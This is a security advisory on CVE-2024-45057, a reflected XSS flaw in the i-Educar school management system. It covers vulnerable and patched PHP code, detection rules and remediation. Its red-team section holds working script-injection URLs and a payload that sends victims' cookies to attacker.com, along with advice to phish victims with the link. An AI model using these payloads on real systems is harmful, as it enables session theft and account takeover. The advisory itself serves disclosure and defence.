CVE-2024-45057

Executive Summary

CVE-2024-45057 is a Reflected Cross-Site Scripting (XSS) vulnerability in i-Educar, a free, open-source school management system. The flaw resides in the clsCampos.inc.php file, which dynamically generates HTML fields without proper input validation or sanitization. An attacker can inject arbitrary JavaScript into vulnerable parameters such as nm_curso, nm_pessoa, or nome in various listing pages (e.g., educar_curso_lst.php, atendidos_lst.php, educar_abandono_tipo_lst.php). The CVSS score is 6.3 (Medium), and while the EPSS score is currently 0.0%, the vulnerability is publicly known and a patch is available. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.

Supply Chain & Package Security

i-Educar is a PHP-based application distributed via GitHub and potentially through package managers like Composer. The vulnerability affects the core codebase, not a third-party library. Organizations using i-Educar should verify their deployment version and apply the patch immediately. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a crafted link.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Content can be modified via XSS.
• Availability (A): Low – Minor disruption possible.

Threat Level: Medium. The vulnerability requires user interaction, but the lack of authentication and low complexity make it a viable phishing vector.

Deep Dive & Mechanics

The vulnerability exists in the clsCampos.inc.php file, which is included by multiple listing pages. The file generates HTML fields dynamically based on user input without proper sanitization. For example, in educar_curso_lst.php, the nm_curso parameter is reflected directly into the page's HTML. An attacker can craft a URL like:

https://target/intranet/educar_curso_lst.php?nm_curso=<script>alert('XSS')</script>

When a victim visits this URL, the script executes in their browser context. The same pattern applies to atendidos_lst.php?nm_pessoa= and educar_abandono_tipo_lst?nome=.

The root cause is the lack of output encoding or input validation in clsCampos.inc.php. The patch (commit f2d768534aabc09b2a1fc8a5cc5f9c93925cb273) introduces proper sanitization using htmlspecialchars() or similar functions.

Vulnerable vs. Patched Code

Vulnerable Code (clsCampos.inc.php):

// Vulnerable: Direct reflection without sanitization
echo "<input type='text' name='nm_curso' value='" . $_GET['nm_curso'] . "'>";

Patched Code (clsCampos.inc.php):

// Patched: Input sanitized with htmlspecialchars
echo "<input type='text' name='nm_curso' value='" . htmlspecialchars($_GET['nm_curso'], ENT_QUOTES, 'UTF-8') . "'>";

The patch ensures that special characters like <, >, ", and ' are encoded, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable i-Educar instance (version < 2.9.0)
• A web browser or tool like curl

Proof-of-Concept (PoC):

1. Craft a malicious URL:

   http://target/intranet/educar_curso_lst.php?nm_curso=<script>alert(document.cookie)</script>
   

2. Send the link to a victim (e.g., via email or social engineering).
3. When the victim clicks, the script executes, stealing cookies or performing actions on their behalf.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Using curl for testing:

curl -v "http://target/intranet/educar_curso_lst.php?nm_curso=<script>alert(1)</script>"

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious parameters containing <script> or onerror= patterns.
• Use WAF rules to block reflected XSS attempts.

Mitigation:

• Apply the patch immediately.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Educate users about phishing links.

Indicators of Compromise (IOCs)

• URL Patterns:
  • */intranet/educar_curso_lst.php?nm_curso=*
  • */intranet/atendidos_lst.php?nm_pessoa=*
  • */intranet/educar_abandono_tipo_lst?nome=*
• Log Entries: HTTP GET requests with nm_curso, nm_pessoa, or nome parameters containing <script> or %3Cscript%3E.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.

Detection Engineering

YARA Rule

rule CVE_2024_45057_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against i-Educar CVE-2024-45057"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45057"
    strings:
        $param1 = "nm_curso="
        $param2 = "nm_pessoa="
        $param3 = "nome="
        $xss_payload = /(<script|<img|<svg|onerror|onload|alert|prompt)/
    condition:
        any of ($param*) and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against i-Educar
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-45057
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'nm_curso='
            - 'nm_pessoa='
            - 'nome='
        cs-uri-query|re:
            - '(<script|<img|<svg|onerror|onload|alert|prompt)'
    condition: selection
falsepositives:
    - Legitimate use of similar strings in non-vulnerable contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45057 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/intranet/"; http_uri; pcre:"/(nm_curso=|nm_pessoa=|nome=).*(<script|<img|<svg|onerror|onload|alert|prompt)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Apply the Patch: Update i-Educar to version 2.9.0 or later, or manually apply commit f2d768534aabc09b2a1fc8a5cc5f9c93925cb273.
2. Input Validation: Implement server-side validation for all user inputs.
3. Output Encoding: Use htmlspecialchars() or equivalent for all dynamic HTML output.
4. Web Application Firewall (WAF): Deploy rules to block reflected XSS patterns.
5. Content Security Policy (CSP): Add script-src 'self' to prevent inline script execution.
6. User Education: Train users to avoid clicking suspicious links.

Valters IT